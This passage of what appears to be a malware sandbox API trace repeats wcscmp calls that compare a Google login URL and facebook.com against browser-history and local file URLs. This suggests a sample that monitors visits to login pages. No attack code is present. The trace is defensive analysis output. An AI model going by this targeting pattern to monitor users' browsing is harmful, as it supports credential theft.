_String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/qbatepvwwrmxg.mkv") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/hp0a.pptx") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/tukxy_htj_46yx.mkv") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/xrlop0fhih6h4mumu.bmp") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/gg7cycfjmtiunlpskcq.pdf") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/rbaw.bmp") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/t6hliemu6l0r.ppt") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/pu8nkjiakvioxnl1gn5.docx") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/u8ej.mkv") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/8wgzy1b.png") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/5pbmi8.jpg") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/c9bf3zxlekmuces.pptx") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/w39fbpx.pptx") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/c40oh8.xlsx") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/k61u%208qbit65csajnmu.pptx") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/eyo_jfjnlvh.png") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/ma9jv-dyfrqq5wz%20rh.png") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/twly6%20njwxp7s.ots") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/jtfuniuktukb.rtf") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/bhjp5caf9c99.gif") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ylrsy2oezmqpamb5xpsr.mkv") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/xlx9xfvuh.jpg") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/s_upngnh6botne0evc.gif") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/bhevv6.mkv") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/pp66ey.odp") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/1r1kigcrnnjgvfo_x.flv") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/btyd0hrgdblueuq.rtf") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/utqtv2mvpn8rqx.ppt") returned 1 [0069.191] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/nhdk1klix_x.flv") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/isgcjtsl.xlsx") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/sa--kau.pptx") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gu8x7jtyuieejllb.docx") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/gpxpy.doc") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/-gcilf6cuob%20faba9y.ots") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/kiam-z8ft.png") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/ypjl%20kqd7ou.gif") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/kjo%20dw4y7j6psds.pptx") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/0mck7qex.odt") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/nzix0sllab7kos.flv") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/wf26tyfkwvqf2by4bhd.gif") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/fl_cd2j6qblgazwa2sql.odp") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/7got.flv") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/1af7s2.pdf") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/usy6mrdrok9xbj.jpg") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/fqiucen.pptx") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/mx7wx4e_2m.ods") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/jgo-nkt.pptx") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/xortiubcm%209dtd-.xlsx") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/wovpfsxpf7ltov.xlsx") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/m4b.xls") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/o4g%208wql.ots") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/p61kxiadv1lk3os9qi3q.rtf") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/4_0e8edve.flv") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/ss5todkecrcizvrpi.flv") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/dmwuzqljb06l.flv") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/epgdsrurpjc0tqtqve.jpg") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ggpyrx2ux.png") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/olryse9.pptx") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/w6ad.gif") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/y8zipz.mkv") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/srhckdi.pps") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/fcg74r-hlzx8kpasejr.xls") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/8hx4xzitippukbdb.ots") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/e6gqzqsfu-.ppt") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/h1hmwuywez_o3tm.docx") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="http://google.com") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/asrj.csv") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/pmrh0a5jwr.flv") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yhgdbpj3cxkhlw.gif") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/yelia.bmp") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/xmyeovegmrzxalkg.bmp") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/uosl_1fjka5.flv") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/5h_jfktd9t3cfjg_0bpl.gif") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/fd%200eikyigmitdbhxtw.flv") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/o0q4ua6i.mkv") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/rt-vvidbgwyx6u.gif") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/wvwv-n0sd.pptx") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx") returned 1 [0069.192] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx") returned 1 [0069.193] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/rl27ms.mkv") returned 1 [0069.193] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg") returned 1 [0069.193] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps") returned 1 [0069.193] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png") returned 1 [0069.193] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="https:url \x02") returned -1 [0069.193] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="http://www.google.de/") returned 1 [0069.193] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="https://support.microsoft.com/products/internet-explorer") returned 1 [0069.193] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="https://support.microsoft.com/internet-explorer") returned 1 [0069.193] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="https://ieonline.microsoft.com/favicon.ico") returned 1 [0069.193] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned 1 [0069.193] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="http://go.microsoft.com/fwlink/") returned 1 [0069.193] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned 1 [0069.193] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="http://www.msn.com/") returned 1 [0069.193] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="https://www.google.de/") returned -1 [0069.193] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0069.193] wcslen (_String="https://www.google.com/accounts/servicelogin") returned 0x2c [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="https://www.google.com/accounts/servicelogin") returned -1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2=":host: www.msn.com") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="http://www.msn.com/de-de/") returned -1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2=":host: computer") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2=":host: www.google.de") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/ihknzkjo.doc") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/o954v.gif") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/xv29v9lm6u3e.bmp") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/q6o2n7wwkpr.bmp") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/ebi_g_ji2vd2vnklrop5.ppt") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/eye27ehqblhl.bmp") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/bngtvm7.xlsx") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/1qpg-iyvnqu.bmp") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/fpn_m8owaavy2i.ots") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/aarrlt_jtdpkkjt_swo.xls") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/s_xsuwu8qqnzog4v9zrx.mkv") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/w94fqong.rtf") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/kd4kvqssjiojqr1.flv") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/j6dziy9vqbux5.ppt") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/c9ut6lytwia.xlsx") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/s3erd-a.bmp") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/mg6b0r2nv.ots") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/yiw1h.png") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/ftcc9f70gxzbb.gif") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/u_bk5.pps") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/ly3agvy_y5cf6nmd50e1.jpg") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/boukln.flv") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/2serklwgvw2wr0dvkh.docx") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/khpa.jpg") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/lrl%20osdtaq.jpg") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/spfa9u6bx.xls") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/oe_9.docx") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/neys-vvyovcjnl64w.pdf") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/vsiu.ppt") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/xmfffekl.gif") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/x2ubk6qmfay.mkv") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/tgste51da.pdf") returned 1 [0069.193] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/0dhb1lq5yot7udpqilv.rtf") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/r4xqhuytc.bmp") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yv%20smf4nsa554p3vd9.jpg") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/9fo6aacn.bmp") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/tkhgm7ytxij4tygo3.csv") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/zgid.png") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/2ag4lbo.pdf") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/u_x855jomdyckkuedf4y.jpg") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/gt_uelv0.rtf") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/ktpvxxq7gk6v-bti3h2.csv") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/xi9mo3.ppt") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/ln5snup4dif.flv") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ijdl3pp8e7asb.mkv") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/imqafz%20rpvsig5hi.png") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/dogv5_s.png") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/cwnutkiuih3q13b4.png") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/z5jyw4ck3pxgs8vo6pwx.xls") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/h_7vjswkn-j5z6eibtc0.png") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/iy0bs-wzvfapifst.xlsx") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/zq3uv.gif") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/i92xqrotuygpp.png") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/ox2%20tpjk0%20kyqwyzz.docx") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/zrockiiwrql0wttbyu.pdf") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/qbatepvwwrmxg.mkv") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/hp0a.pptx") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/videos/tukxy_htj_46yx.mkv") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/xrlop0fhih6h4mumu.bmp") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/gg7cycfjmtiunlpskcq.pdf") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/rbaw.bmp") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/t6hliemu6l0r.ppt") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/pu8nkjiakvioxnl1gn5.docx") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/u8ej.mkv") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/8wgzy1b.png") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/5pbmi8.jpg") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/c9bf3zxlekmuces.pptx") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/w39fbpx.pptx") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/c40oh8.xlsx") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/k61u%208qbit65csajnmu.pptx") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", 